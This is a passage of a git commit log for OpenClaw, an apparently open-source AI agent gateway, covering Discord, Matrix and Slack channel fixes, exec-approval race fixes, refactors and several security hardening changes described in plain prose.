  via findStoreKeysIgnoreCase in patch/reset/delete/compact handlers; add
  case-insensitive fallback in preview (store already loaded); make
  sessions.resolve handler async; pass scanLegacyKeys: false in preview
- server-node-events.ts: use findStoreKeysIgnoreCase to clean all legacy
  variants on voice.transcript and agent.request write paths; pass
  canonicalKey to addChatRun and agentCommand

* test(gateway): add session key case-normalization tests

Cover the case-insensitive session key canonicalization logic:
- resolveSessionStoreKey normalizes mixed-case bare and prefixed keys
- resolveSessionStoreKey resolves mixed-case main aliases (MAIN, Main)
- resolveGatewaySessionStoreTarget includes legacy mixed-case store keys
- resolveGatewaySessionStoreTarget collects all case-variant duplicates
- resolveGatewaySessionStoreTarget finds legacy main alias keys with
  customized mainKey configuration

All 5 tests fail before the production changes, pass after.

* fix: clean legacy session alias cleanup gaps (openclaw#12846) thanks @mcaxtr

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 20:42:24 +01:00
Shadow
f6232bc2b4 CI: close invalid items without response 2026-02-13 13:41:13 -06:00
Peter Steinberger
2b685b08c2 fix: harden matrix multi-account routing (#7286) (thanks @emonty) 2026-02-13 20:39:58 +01:00
Monty Taylor
a76ac1344e fix: resolveAllowFrom uses cfg+accountId params, not account 2026-02-13 20:39:58 +01:00
Monty Taylor
1a17466a60 fix: use account-aware config paths in resolveDmPolicy and resolveAllowFrom 2026-02-13 20:39:58 +01:00
Monty Taylor
3985ef7b37 fix: merge top-level config into per-account config so inherited settings apply 2026-02-13 20:39:58 +01:00
Monty Taylor
ed5a8dff8a chore: fix CHANGELOG.md formatting 2026-02-13 20:39:58 +01:00
Monty Taylor
da00f6cf8e fix: deep-merge nested config, prefer default account in send fallback, simplify credential filenames 2026-02-13 20:39:58 +01:00
Monty Taylor
1a72902991 refactor: read accounts from cfg.channels.matrix.accounts directly for clarity 2026-02-13 20:39:58 +01:00
Monty Taylor
bf4e348440 fix: de-duplicate normalized account IDs and add case-insensitive config lookup to send/client 2026-02-13 20:39:58 +01:00
Monty Taylor
a6dd50fede fix: normalize account config keys for case-insensitive matching 2026-02-13 20:39:58 +01:00
Monty Taylor
c89b8d99fc fix: normalize accountId in active-client and send/client for consistent keying 2026-02-13 20:39:58 +01:00
Monty Taylor
caf5d2dd7c feat(matrix): Add multi-account support to Matrix channel
The Matrix channel previously hardcoded `listMatrixAccountIds` to always
return only `DEFAULT_ACCOUNT_ID`, ignoring any accounts configured in
`channels.matrix.accounts`. This prevented running multiple Matrix bot
accounts simultaneously.

Changes:
- Update `listMatrixAccountIds` to read from `channels.matrix.accounts`
  config, falling back to `DEFAULT_ACCOUNT_ID` for legacy single-account
  configurations
- Add `resolveMatrixConfigForAccount` to resolve config for a specific
  account ID, merging account-specific values with top-level defaults
- Update `resolveMatrixAccount` to use account-specific config when
  available
- The multi-account config structure (channels.matrix.accounts) was not
  defined in the MatrixConfig type, causing TypeScript to not recognize
  the field. Added the accounts field to properly type the multi-account
  configuration.
- Add stopSharedClientForAccount() to stop only the specific account's
  client instead of all clients when an account shuts down
- Wrap dynamic import in try/finally to prevent startup mutex deadlock
  if the import fails
- Pass accountId to resolveSharedMatrixClient(), resolveMatrixAuth(),
  and createMatrixClient() to ensure the correct account's credentials
  are used for outbound messages
- Add accountId parameter to resolveMediaMaxBytes to check account-specific
  config before falling back to top-level config
- Maintain backward compatibility with existing single-account setups

This follows the same pattern already used by the WhatsApp channel for
multi-account support.

Fixes #3165
Fixes #3085

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-02-13 20:39:58 +01:00
Shadow
607b625aab Docs: update PR commit guidance 2026-02-13 13:39:35 -06:00
Peter Steinberger
e0c04c62c9 docs(signal): improve setup, verification, and troubleshooting guidance 2026-02-13 20:38:56 +01:00
Peter Steinberger
f02247b6c5 fix(ci): fix discord proxy websocket binding and bluebubbles timeout status 2026-02-13 19:35:55 +00:00
rodbland2021
d3b2135f86 fix(agents): wait for agent idle before flushing pending tool results (#13746)
* fix(agents): wait for agent idle before flushing pending tool results

When pi-agent-core's auto-retry mechanism handles overloaded/rate-limit
errors, it resolves waitForRetry() on assistant message receipt — before
tool execution completes in the retried agent loop. This causes the
attempt's finally block to call flushPendingToolResults() while tools
are still executing, inserting synthetic 'missing tool result' errors
and causing silent agent failures.

The fix adds a waitForIdle() call before the flush to ensure the agent's
retry loop (including tool execution) has fully completed.

Evidence from real session: tool call and synthetic error were only 53ms
apart — the tool never had a chance to execute before being flushed.

Root cause is in pi-agent-core's _resolveRetry() firing on message_end
instead of agent_end, but this workaround in OpenClaw prevents the
symptom without requiring an upstream fix.

Fixes #8643
Fixes #13351
Refs #6682, #12595

* test: add tests for tool result flush race condition

Validates that:
- Real tool results are not replaced by synthetic errors when they arrive in time
- Flush correctly inserts synthetic errors for genuinely orphaned tool calls
- Flush is a no-op after real tool results have already been received

Refs #8643, #13748

* fix(agents): add waitForIdle to all flushPendingToolResults call sites

The original fix only covered the main run finally block, but there are
two additional call sites that can trigger flushPendingToolResults while
tools are still executing:

1. The catch block in attempt.ts (session setup error handler)
2. The finally block in compact.ts (compaction teardown)

Both now await agent.waitForIdle() with a 30s timeout before flushing,
matching the pattern already applied to the main finally block.

Production testing on VPS with debug logging confirmed these additional
paths can fire during sub-agent runs, producing spurious synthetic
'missing tool result' errors.

* fix(agents): centralize idle-wait flush and clear timeout handle

---------

Co-authored-by: Renue Development <dev@renuebyscience.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 20:35:43 +01:00
Shadow
4b3c87b82d fix: finalize discord presence config (#10855) (thanks @h0tp-ftw) 2026-02-13 13:34:19 -06:00
Shadow
c82cd9e5d1 Docs: add discord presence config notes (#10855) 2026-02-13 13:34:19 -06:00
Shadow
6acea69b20 Discord: refine presence config defaults (#10855) (thanks @h0tp-ftw) 2026-02-13 13:34:19 -06:00
h0tp
770e904c21 fix(discord): restrict activity types and statuses to valid enum values
- Removed 'offline' from valid config statuses (use 'invisible').
- Restricted activityType to 0, 1, 2, 3, 5 (excluding custom/4).
- Added logic to only send 'url' when activityType is 1 (Streaming).
- Updated Typescript definitions and Zod schemas to match.
2026-02-13 13:34:19 -06:00
h0tp
5d8c6ef91c feat(discord): add configurable presence (activity/status/type)
- Adds `activity`, `status`, `activityType`, and `activityUrl` to Discord provider config schema.
- Implements a `ReadyListener` in `DiscordProvider` to apply these settings on connection.
- Solves the issue where `@buape/carbon` ignores initial presence options in constructor.
- Validated manually and via existing test suite.
2026-02-13 13:34:19 -06:00
Peter Steinberger
c801ffdf99 perf: add zero-delay gateway client connect for tests 2026-02-13 19:32:16 +00:00
Shadow
5645f227f6 Discord: add gateway proxy docs and tests (#10400) (thanks @winter-loo) 2026-02-13 13:26:51 -06:00
ludd50155
e55431bf84 fix(discord): restore gateway reconnect maxAttempts to 50 2026-02-13 13:26:51 -06:00
ludd50155
5f0debdfb2 Fix: check cleanups 2026-02-13 13:26:51 -06:00
ludd50155
0cb69b0f28 Discord: add gateway proxy support
Conflicts:
	package.json
	pnpm-lock.yaml
	src/config/schema.ts
	src/discord/monitor/provider.ts
2026-02-13 13:26:51 -06:00
Mariano
7f0489e473 Security/Browser: constrain trace and download output paths to OpenClaw temp roots (#15652)
* Browser/Security: constrain trace and download output paths to temp roots

* Changelog: remove advisory ID from pre-public security note

* Browser/Security: constrain trace and download output paths to temp roots

* Changelog: remove advisory ID from pre-public security note

* test(bluebubbles): align timeout status expectation to 408

* test(discord): remove unused race-condition counter in threading test

* test(bluebubbles): align timeout status expectation to 408
2026-02-13 19:24:33 +00:00
Peter Steinberger
08725270e2 perf: honor low timeout budgets in health telegram probes 2026-02-13 19:22:25 +00:00
Peter Steinberger
a3574bbde4 fix(android): add bcprov dependency for device identity store 2026-02-13 19:20:15 +00:00
Peter Steinberger
7d1be585de test: fix exec approval and pty fallback e2e flows 2026-02-13 19:19:15 +00:00
Peter Steinberger
34eb14d24f perf: trim web auto-reply test cleanup backoff 2026-02-13 19:19:11 +00:00
Peter Steinberger
1c7a099b6d test: move reasoning replay regression to unit suite 2026-02-13 19:09:41 +00:00
Peter Steinberger
9fab0d2ced refactor(ui): split nodes exec approvals module 2026-02-13 19:08:38 +00:00
Peter Steinberger
d443a73798 refactor(ui): extract usage tab render module 2026-02-13 19:08:38 +00:00
Peter Steinberger
6c445889b3 refactor(ui): split agents view into focused panel modules 2026-02-13 19:08:38 +00:00
Peter Steinberger
a1df0939db refactor(bluebubbles): split monitor parsing and processing modules 2026-02-13 19:08:37 +00:00
Peter Steinberger
a750a195e5 refactor(extensions): extract feishu dedup and mattermost onchar helpers 2026-02-13 19:08:37 +00:00
Peter Steinberger
6310b8b7fc refactor(ui): split usage styles into modular parts 2026-02-13 19:08:37 +00:00
Peter Steinberger
68dbbc7c5f refactor(ui): split usage view into focused modules 2026-02-13 19:08:37 +00:00
Peter Steinberger
4c401d336d refactor(memory): extract manager sync and embedding ops 2026-02-13 19:08:37 +00:00
Peter Steinberger
b47fa9e715 refactor(exec): extract bash tool runtime internals 2026-02-13 19:08:37 +00:00
Peter Steinberger
3f5e72835e refactor(tts): extract directives and provider core 2026-02-13 19:08:37 +00:00
Peter Steinberger
83bc73f4ea refactor(exec-approvals): split allowlist evaluation module 2026-02-13 19:08:37 +00:00
Peter Steinberger
81fbfa06ee refactor(exec-approvals): extract command analysis module 2026-02-13 19:08:37 +00:00
Peter Steinberger
2a1f8b2615 refactor(media): extract runner entry execution helpers 2026-02-13 19:08:37 +00:00
Peter Steinberger
1d46d3ae4e refactor(node-host): extract invoke handlers 2026-02-13 19:08:37 +00:00
Peter Steinberger
02684b913b refactor(cli): split update command modules 2026-02-13 19:08:37 +00:00
Peter Steinberger
39af215c31 refactor(outbound): extract message action param helpers 2026-02-13 19:08:37 +00:00
Peter Steinberger
23555de5d9 refactor(security): extract channel audit checks 2026-02-13 19:08:37 +00:00
Peter Steinberger
ca3a42009c refactor(memory): extract qmd scope helpers 2026-02-13 19:08:37 +00:00
Peter Steinberger
c256503ea1 refactor(infra): extract session cost usage types 2026-02-13 19:08:37 +00:00
Peter Steinberger
5a431f57fc refactor(infra): split heartbeat event filters 2026-02-13 19:08:37 +00:00
Peter Steinberger
a79c2de956 refactor(gateway): extract ws auth message helpers 2026-02-13 19:08:37 +00:00
Peter Steinberger
5429f2e635 refactor(line): split flex template builders 2026-02-13 19:08:37 +00:00
Peter Steinberger
b05c41f344 perf: reduce gateway multi e2e websocket churn 2026-02-13 19:07:59 +00:00
Shadow
71939523a0 fix: normalize Discord autoThread reply target (#8302) (thanks @gavinbmoore) 2026-02-13 13:04:55 -06:00
Claw
e65b649993 fix(discord): ensure autoThread replies route to existing threads
Fixes #8278

When autoThread is enabled and a thread already exists (user continues
conversation in thread), replies were sometimes routing to the root
channel instead of the thread. This happened because the reply delivery
plan only explicitly set the thread target when a NEW thread was created
(createdThreadId), but not when the message was in an existing thread.

The fix adds a fallback case: when threadChannel is set (we're in an
existing thread) but no new thread was created, explicitly route to
the thread's channel ID. This ensures all thread replies go to the
correct destination.
2026-02-13 13:04:55 -06:00
Ramin Shirali Hossein Zade
1af0edf7ff fix: ensure exec approval is registered before returning (#2402) (#3357)
* feat(gateway): add register and awaitDecision methods to ExecApprovalManager

Separates registration (synchronous) from waiting (async) to allow callers
to confirm registration before the decision is made. Adds grace period for
resolved entries to prevent race conditions.

* feat(gateway): add two-phase response and waitDecision handler for exec approvals

Send immediate 'accepted' response after registration so callers can confirm
the approval ID is valid. Add exec.approval.waitDecision endpoint to wait for
decision on already-registered approvals.

* fix(exec): await approval registration before returning approval-pending

Ensures the approval ID is registered in the gateway before the tool returns.
Uses exec.approval.request with expectFinal:false for registration, then
fire-and-forget exec.approval.waitDecision for the decision phase.

Fixes #2402

* test(gateway): update exec-approval test for two-phase response

Add assertion for immediate 'accepted' response before final decision.

* test(exec): update approval-id test mocks for new two-phase flow

Mock both exec.approval.request (registration) and exec.approval.waitDecision
(decision) calls to match the new internal implementation.

* fix(lint): add cause to errors, use generics instead of type assertions

* fix(exec-approval): guard register() against duplicate IDs

* fix: remove unused timeoutMs param, guard register() against duplicates

* fix(exec-approval): throw on duplicate ID, capture entry in closure

* fix: return error on timeout, remove stale test mock branch

* fix: wrap register() in try/catch, make timeout handling consistent

* fix: update snapshot on timeout, make two-phase response opt-in

* fix: extend grace period to 15s, return 'expired' status

* fix: prevent double-resolve after timeout

* fix: make register() idempotent, capture snapshot before await

* fix(gateway): complete two-phase exec approval wiring

* fix: finalize exec approval race fix (openclaw#3357) thanks @ramin-shirali

* fix(protocol): regenerate exec approval request models (openclaw#3357) thanks @ramin-shirali

* fix(test): remove unused callCount in discord threading test

---------

Co-authored-by: rshirali <rshirali@rshirali-haga.local>
Co-authored-by: rshirali <rshirali@rshirali-haga-1.home>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 19:57:02 +01:00
Shadow
a15033876c fix: add Discord voice message changelog (#7253) (thanks @nyanjou) 2026-02-13 12:44:14 -06:00
Shadow
c87e481ec9 Discord: fix voice duration error handling 2026-02-13 12:44:14 -06:00
Shadow
1c9c01ff49 Discord: refine voice message handling 2026-02-13 12:44:14 -06:00
nyanjou
76ab377a19 style: use bit shift operators for Discord message flags 2026-02-13 12:44:14 -06:00
nyanjou
b4359c84f7 feat(discord): add silent support for voice messages
- Add silent flag to sendDiscordVoiceMessage
- Combines VOICE_MESSAGE (8192) + SUPPRESS_NOTIFICATIONS (4096) flags
- Pass silent through VoiceMessageOpts and action handlers
2026-02-13 12:44:14 -06:00
nyanjou
385eed14f6 fix(discord): pass silent flag through plugin action handler
The Discord send action was going through the plugin handler path
which wasn't passing the silent flag to sendMessageDiscord.

- Add silent param reading in handle-action.ts
- Pass silent to handleDiscordAction
- Add silent param in discord-actions-messaging.ts sendMessage case
2026-02-13 12:44:14 -06:00
nyanjou
77df8b1104 feat(discord): add silent message support (SUPPRESS_NOTIFICATIONS flag)
- Add silent option to message tool for Discord
- Passes SUPPRESS_NOTIFICATIONS flag (4096) to Discord API
- Threads silent param through entire outbound chain:
  - message-action-runner.ts
  - outbound-send-service.ts
  - message.ts
  - deliver.ts
  - discord outbound adapter
  - send.outbound.ts
  - send.shared.ts

Usage: message tool with silent=true suppresses push/desktop notifications
2026-02-13 12:44:14 -06:00
nyanjou
b9da2c4679 fix: address code review feedback
- Remove unused ffmpeg astats command from generateWaveform()
- Use crypto.randomUUID() for temp file names to prevent collision
- Wrap upload URL request in retry runner for consistency
- Add validation: reject content with asVoice, require local file path
- Add clarifying comments for CDN upload behavior
2026-02-13 12:44:14 -06:00
nyanjou
36525a974e fix(discord): use fetch with proper headers for voice message upload
The @buape/carbon RequestClient wasn't setting Content-Type: application/json
for the attachments endpoint request. Use native fetch with explicit headers
for the upload URL request.

Also pass token through to sendDiscordVoiceMessage for authorization.
2026-02-13 12:44:14 -06:00
nyanjou
a09e4fac3f feat(discord): add voice message support
Adds support for sending Discord voice messages via the message tool
with asVoice: true parameter.

Voice messages require:
- OGG/Opus format (auto-converted if needed via ffmpeg)
- Waveform data (generated from audio samples)
- Duration in seconds
- Message flag 8192 (IS_VOICE_MESSAGE)

Implementation:
- New voice-message.ts with audio processing utilities
- getAudioDuration() using ffprobe
- generateWaveform() samples audio and creates base64 waveform
- ensureOggOpus() converts audio to required format
- sendDiscordVoiceMessage() handles 3-step Discord upload process

Usage:
message(action='send', channel='discord', target='...',
        path='/path/to/audio.mp3', asVoice=true)

Note: Voice messages cannot include text content (Discord limitation)
2026-02-13 12:44:14 -06:00
Yi LIU
aec3221391 chore: revert upstream labeler.yml to unblock fork push
The fork's OAuth token lacks the workflow scope required to push
changes to .github/workflows/. Reverting the upstream labeler.yml
change so the branch can be force-pushed. The PR merge into main
will pick up the correct upstream version automatically.
2026-02-13 19:43:20 +01:00
Yi LIU
a5ccfa57a8 refactor(process): use dedicated CommandLaneClearedError in clearCommandLane
Replace bare `new Error("Command lane cleared")` with a dedicated
`CommandLaneClearedError` class so callers that fire-and-forget
enqueued tasks can catch this specific type and avoid surfacing
unhandled rejection warnings.
2026-02-13 19:43:20 +01:00
Yi LIU
a49dd83b14 fix(process): reject pending promises when clearing command lane
clearCommandLane() was truncating the queue array without calling
resolve/reject on pending entries, causing never-settling promises
and memory leaks when upstream callers await enqueueCommandInLane().

Splice entries and reject each before clearing so callers can handle
the cancellation gracefully.
2026-02-13 19:43:20 +01:00
Hunter
f7e2b8ff5f fix(discord): autoThread race condition when multiple agents mentioned
When multiple agents with autoThread:true are @mentioned in the same
message, only the first agent successfully creates a thread. Subsequent
agents fail because Discord only allows one thread per message.

Previously, the failure was silently caught and the agent would fall
back to replying in the parent channel.

Now, when thread creation fails, the code re-fetches the message and
checks for an existing thread (created by another agent). If found,
the agent replies in that thread instead of falling back.

Fixes #7508
2026-02-13 12:39:11 -06:00
Clawdbot
42bfcd9c30 fix(discord): handle missing guild/channel data in link resolution
Add null checks for guild.id and guild.name when resolving Discord
entities. This prevents TypeError when processing invite links for
servers/channels the bot doesn't have cached.

Fixes #6606
2026-02-13 12:35:18 -06:00
Peter Steinberger
3c00a9e330 perf: remove redundant cli health checks from gateway multi e2e 2026-02-13 18:35:09 +00:00
Artale
ab0d8ef8c1 fix(daemon): preserve backslashes in parseCommandLine on Windows (#15642)
* fix(daemon): preserve backslashes in parseCommandLine on Windows

Only treat backslash as escape when followed by a quote or another
backslash. Bare backslashes are kept as-is so Windows paths survive.

Fixes #15587

* fix(daemon): preserve UNC backslashes in schtasks parsing (#15642) (thanks @arosstale)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 19:27:06 +01:00
Peter Steinberger
39e6e4cd2c perf: reduce test/runtime overhead in plugin runtime and e2e harness 2026-02-13 18:24:19 +00:00
Peter Steinberger
3cbcba10cf fix(security): enforce bounded webhook body handling 2026-02-13 19:14:54 +01:00
Shadow
2f9c523bbe CI: run auto-response on label events (#15657) 2026-02-13 12:14:49 -06:00
Tseka Luk
5cd9e210fa fix(tui): preserve streamed text when final payload regresses (#15452) (#15573)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: e4a5e3c8a6
Co-authored-by: TsekaLuk <79151285+TsekaLuk@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 19:12:59 +01:00
Shadow
be18f5f0f0 Process: fix Windows exec env overrides 2026-02-13 12:06:47 -06:00
Ross Morsali
6bc6cdad94 fix(nodes-tool): add exec approval flow for agent tool run action (#4726)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b8ed4f1b6e
Co-authored-by: rmorse <853547+rmorse@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 19:04:24 +01:00
Peter Steinberger
e84318e4bc fix: replace control-char regex with explicit sanitizer 2026-02-13 17:57:47 +00:00
Peter Steinberger
201ac2b72a perf: replace proper-lockfile with lightweight file locks 2026-02-13 17:57:30 +00:00
Tseka Luk
c544811559 fix(whatsapp): preserve outbound document filenames (#15594)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8e0d765d1d
Co-authored-by: TsekaLuk <79151285+TsekaLuk@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 18:54:10 +01:00
Shadow
f59df95896 Config: preserve env var references on write (#15600)
* Config: preserve env var references on write

* Config: handle env refs in arrays
2026-02-13 11:52:23 -06:00
Marcus Castro
eed8cd383f fix(agent): search all agent stores when resolving --session-id (#13579)
* fix(agent): search all agent stores when resolving --session-id

When `--session-id` was provided without `--to` or `--agent`, the reverse
lookup only searched the default agent's session store. Sessions created
under a specific agent (e.g. `--agent mybot`) live in that agent's store
file, so the lookup silently failed and the session was not reused.

Now `resolveSessionKeyForRequest` iterates all configured agent stores
when the primary store doesn't contain the requested sessionId.

Fixes #12881

* fix: search other agent stores when --to key does not match --session-id

When --to derives a session key whose stored sessionId doesn't match the
requested --session-id, the cross-store search now also runs. This handles
the case where a user provides both --to and --session-id targeting a
session in a different agent's store.
2026-02-13 18:46:54 +01:00
AI-Reviewer-QS
649826e435 fix(security): block private/loopback/metadata IPs in link-understanding URL detection (#15604)
* fix(security): block private/loopback/metadata IPs in link-understanding URL detection

isAllowedUrl() only blocked 127.0.0.1, leaving localhost, ::1, 0.0.0.0,
private RFC1918 ranges, link-local (169.254.x.x including cloud metadata),
and CGNAT (100.64.0.0/10) accessible for SSRF via link-understanding.

Add comprehensive hostname/IP blocking consistent with the SSRF guard
already used by media/fetch.ts.

* fix(security): harden link-understanding SSRF host checks

* fix: note link-understanding SSRF hardening in changelog (#15604) (thanks @AI-Reviewer-QS)

---------

Co-authored-by: Yi LIU <yi@quantstamp.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 18:38:40 +01:00
Peter Steinberger
fdfc34fa1f perf(test): stabilize e2e harness and reduce flaky gateway coverage 2026-02-13 17:32:14 +00:00
Peter Steinberger
2ab7715d16 docs: clarify auto-install deps recovery workflow 2026-02-13 18:28:56 +01:00
Marcus Castro
d91e995e46 fix(inbound): preserve literal backslash-n sequences in Windows paths (#11547)
* fix(inbound): preserve literal backslash-n sequences in Windows paths

The normalizeInboundTextNewlines function was converting literal backslash-n
sequences (\n) to actual newlines, corrupting Windows paths like
C:\Work\nxxx\README.md when sent through WebUI.

This fix removes the .replaceAll("\\n", "\n") operation, preserving
literal backslash-n sequences while still normalizing actual CRLF/CR to LF.

Fixes #7968

* fix(test): set RawBody to Windows path so BodyForAgent fallback chain tests correctly

* fix: tighten Windows path newline regression coverage (#11547) (thanks @mcaxtr)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 18:24:01 +01:00
Shadow
684578ecf6 CI: drop trusted label for experienced contributors (#15605) 2026-02-13 11:23:05 -06:00
Marcus Castro
3d921b6157 fix(slack): apply limit parameter to emoji-list action (#13421)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 67e9b64858
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 18:20:41 +01:00
Mariano Belinky
86e4fe0a7a Auth: land codex oauth onboarding flow (#15406) 2026-02-13 17:18:49 +00:00
Marcus Castro
7ec60d6449 fix: use relayAbort helper for addEventListener to preserve AbortError reason 2026-02-13 18:13:18 +01:00
Marcus Castro
5ac8d1d2bb test: add abort .bind() behavioral tests (#7174) 2026-02-13 18:13:18 +01:00
Marcus Castro
d9c582627c perf: use .abort.bind() instead of arrow closures to prevent memory leaks (#7174) 2026-02-13 18:13:18 +01:00
Shadow
d637a26350 Gateway: sanitize WebSocket log headers (#15592) 2026-02-13 11:11:54 -06:00
Marcus Castro
b3b49bed80 fix(slack): override video/* MIME to audio/* for voice messages (#14941)
* fix(slack): override video/* MIME to audio/* for voice messages

* fix(slack): preserve overridden MIME in return value

* test(slack): fix media monitor MIME mock wiring

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 18:09:04 +01:00
Shadow
1f4943af3d fix: note Discord guild allowlist resolution (#12326) (thanks @headswim) 2026-02-13 11:03:10 -06:00
headswim
f4e295a63b Discord: fix bare guild ID misrouted as channel ID in parser
The channel allowlist parser matches bare numeric strings as channel IDs
before checking for guild IDs, causing guild snowflakes to hit Discord's
/channels/ endpoint (404). Prefix guild-only entries with 'guild:' so the
parser routes them to the correct guild resolution path.

Fixes both the monitor provider and onboarding wizard call sites.
Adds regression tests.
2026-02-13 11:03:10 -06:00
Shadow
5325d2ca51 Discord: gate guild prefix to numeric keys 2026-02-13 10:57:29 -06:00
Lilo
397011bd78 fix: increase image tool maxTokens from 512 to 4096 (#11770)
* increase image tool maxTokens from 512 to 4096

* fix: cap image tool tokens by model capability (#11770) (thanks @detecti1)

* docs: fix changelog attribution for #11770

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 17:52:27 +01:00
Burak Sormageç
1c36bec970 Apply suggestion from @Copilot
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-02-13 17:48:04 +01:00
Burak Sormageç
ff0ce32840 Apply suggestion from @Copilot
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-02-13 17:48:04 +01:00
Burak Sormageç
23b1b51568 fix(windows): normalize env entries for spawn 2026-02-13 17:48:04 +01:00
Burak Sormageç
e97aa45428 fix(windows): handle undefined environment variables in runCommandWithTimeout 2026-02-13 17:48:04 +01:00
Burak Sormageç
d7fb01afad fix(windows): resolve command execution and binary detection issues 2026-02-13 17:48:04 +01:00
Peter Steinberger
1eccfa8934 perf(test): trim duplicate e2e suites and harden signal hooks 2026-02-13 16:46:43 +00:00
Peter Steinberger
45b9aad0f4 fix(imessage): prevent rpc spawn in tests 2026-02-13 17:36:37 +01:00
Peter Steinberger
aa7fbf0488 perf(test): trim duplicate sanitize-session-history e2e cases 2026-02-13 16:21:59 +00:00
Peter Steinberger
b272158fe4 perf(test): eliminate resetModules via injectable seams 2026-02-13 16:20:37 +00:00
Peter Steinberger
a844fb161c build(protocol): regenerate swift gateway models 2026-02-13 16:14:53 +00:00
Yi Liu
14fc742000 fix(security): restrict canvas IP-based auth to private networks (#14661)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9e4e1aca4a
Co-authored-by: sumleo <29517764+sumleo@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 17:13:31 +01:00
Peter Steinberger
e665d77917 perf(test): remove extra module resets in cli and message suites 2026-02-13 16:08:38 +00:00
Sk Akram
4c86821aca fix: allow device-paired clients to retrieve TTS API keys (#14613)
* refactor: add config.get to READ_METHODS set

* refactor(gateway): scope talk secrets via talk.config

* fix: resolve rebase conflicts for talk scope refactor

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 17:07:49 +01:00
Peter Steinberger
c2f7b66d22 perf(test): replace module resets with direct spies and runtime seams 2026-02-13 16:04:49 +00:00
Omair Afzal
59733a02c8 fix(configure): reject literal "undefined" and "null" gateway auth tokens (#13767)
* fix(configure): reject literal "undefined" and "null" gateway auth tokens

* fix(configure): reject literal "undefined" and "null" gateway auth tokens

* fix(configure): validate gateway password prompt and harden token coercion (#13767) (thanks @omair445)

* test: remove unused vitest imports in baseline lint fixtures (#13767)

---------

Co-authored-by: Luna AI <luna@coredirection.ai>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-13 17:04:41 +01:00
Peter Steinberger
4dc93f40d5 docs: add git local-branch cleanup fallback 2026-02-13 17:03:39 +01:00
Peter Steinberger
767fd9f222 fix: classify /tools/invoke errors and sanitize 500s (#13185) (thanks @davidrudduck) 2026-02-13 16:58:30 +01:00
David Rudduck
242f2f1480 fix: return 500 for tool execution failures instead of 400
Tool runtime errors are server-side faults, not client input errors.
Returning 400 causes clients to mishandle retries/backoff.

Addresses Greptile review feedback on #13185.
2026-02-13 16:58:30 +01:00
David Rudduck
f788de30c8 fix(security): sanitize error responses to prevent information leakage (#5)
* fix(security): sanitize error responses to prevent information leakage

Replace raw error messages in HTTP responses with generic messages.
Internal error details (stack traces, module paths, error messages)
were being returned to clients in 4 gateway endpoints.

* fix: sanitize 2 additional error response leaks in openresponses-http

Address CodeRabbit feedback: non-stream and streaming error paths in
openresponses-http.ts were still returning String(err) to clients.

* fix: add server-side error logging to sanitized catch blocks

Restore err parameter and add logWarn() calls so errors are still
captured server-side for diagnostics while keeping client responses
sanitized. Addresses CodeRabbit feedback about silently discarded errors.
2026-02-13 16:58:30 +01:00
Peter Steinberger
de7d94d9e2 perf(test): remove resetModules from config/sandbox/message suites 2026-02-13 15:58:08 +00:00
Peter Steinberger
02fe0c840e perf(test): remove resetModules from auth/models/subagent suites 2026-02-13 15:53:32 +00:00
Ahmad Bitar
c179f71f42 feat: Android companion app improvements & gateway URL camera payloads (#13541)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9c179c9c31
Co-authored-by: smartprogrammer93 <33181301+smartprogrammer93@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-13 16:49:28 +01:00
Peter Steinberger
41f2f359a5 perf(test): reduce module reload overhead in key suites 2026-02-13 15:45:19 +00:00
Peter Steinberger
4337fa2096 fix: remove any from doctor-security dmScope regression test (#13129) (thanks @VintLin) 2026-02-13 16:43:39 +01:00
Peter Steinberger
f612e35907 fix: add dmScope guidance regression coverage (#13129) (thanks @VintLin) 2026-02-13 16:43:39 +01:00
VintLin
ca3c83acdf fix(security): clarify dmScope remediation path with explicit CLI command
# Problem
The security audit and onboarding screens suggested 'Set session.dmScope="..."'
for multi-user DM isolation. This led users to try setting the value in invalid
config paths (e.g., 'channels.imessage.dmScope').

# Changes
- Updated 'src/security/audit.ts' to use 'formatCliCommand' for dmScope remediation.
- Updated 'src/commands/doctor-security.ts' and 'src/commands/onboard-channels.ts'
  to use the explicit 'openclaw config set' command format.

# Validation
- Verified text alignment with 'pnpm tsgo'.
- Confirmed CLI command formatting remains consistent across modified files.
2026-02-13 16:43:39 +01:00
Peter Steinberger
31c6a12cfa fix(agents): restore missing runtime helpers and sandbox types 2026-02-13 15:42:05 +00:00
David Rudduck
5643a93479 fix(security): default standalone servers to loopback bind (#13184)
* fix(security): default standalone servers to loopback bind (#4)

Change canvas host and telegram webhook default bind from 0.0.0.0
(all interfaces) to 127.0.0.1 (loopback only) to prevent unintended
network exposure when no explicit host is configured.

